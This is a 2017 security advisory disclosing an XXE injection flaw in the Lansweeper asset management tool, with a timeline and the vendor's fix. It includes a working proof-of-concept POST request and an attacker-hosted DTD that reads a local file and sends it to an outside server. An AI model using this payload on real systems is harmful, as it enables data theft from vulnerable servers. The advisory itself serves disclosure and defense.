Lansweeper 6.0.100.29 XXE Injection
Posted on 07 October 2017
============================================= - Release date: October 06th, 2017 - Discovered by: BarkA+-n KA+-lA+-ASS, Mehmet Dursun Adegnce - Severity: High ============================================= I. VULNERABILITY ------------------------- Lansweeper XXE vulnerability. II. INTRODUCTION ------------------------- Lansweeper an Asset Management and Network Inventory Tool (v6.0.100.29 and probably all previous versions) is affected by a XXE vulnerability. III. DESCRIPTION ------------------------- 1) XML eXternel Entity Injection An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. Reference: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing A* URL: hostname/deployment/DeploymentActions.aspx?action=importPackage A* Method: POST POC (proof of concept) The vulnerability can be trigged via a POST request as shown in the following PoC's. POST /deployment/DeploymentActions.aspx?action=importPackage HTTP/1.1 Host: 192.168.179.134:81 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.179.134:81/deployment/ Cookie: ASP.NET_SessionId=i05i2enzicanyusmf5inmawr; UserSettings=language=1; custauth=username=admin&userdomain=admin DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------141141110614240761271519111282 Content-Length: 390 -----------------------------141141110614240761271519111282 Content-Disposition: form-data; name="XML"; filename="test.xml" Content-Type: text/xml A-A>>A?<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://192.168.179.128:81/test.dtd"> %sp; %param1; ]> <r>&exfil;</r> -----------------------------141141110614240761271519111282 As an attacker a web server should be prepared and should be serving a file containing: cat test.dtd <!ENTITY % data SYSTEM "file:///C:Program Files (x86)Lansweeper est.txt"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM ahttp://192.168.179.128/?%data;'>"> IV. BUSINESS IMPACT ------------------------- An attacker could reach and disclose confidential data, cause denial of service, server side request forgery. V. SYSTEMS AFFECTED ------------------------- Version 6.0.100.29 is vulnerable (probably all previous versions) VI. SOLUTION ------------------------- Upgrade to version 6.0.100.67 or later. VII. REFERENCES ------------------------- lansweeper website: https://www.lansweeper.com/ https://www.lansweeper.com/changelog.aspx BUG: #572705 VIII. CREDITS ------------------------- The vulnerability has been discovered by: BarkA+-n KA+-lA+-ASS barkin(at)barkin(dot)info Mehmet Dursun Adegnce mehmet(at)mehmetince(dot)net IX. ADVISORY TIMELINE ------------------------- August 26th, 2017: Vulnerability identification August 26th, 2017: CVE Requested August 27th, 2017: CVE received - "CVE-2017-13706" August 29th, 2017: First contact with vendor August 29th, 2017: Vendor response; investigating Sept 11th, 2017: Vendor says that the vulnerability will be fixed in the new version Oct 4th, 2017: Vulnerabilty fixed (Bug 572705). Reference: https://www.lansweeper.com/changelog.aspx X. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
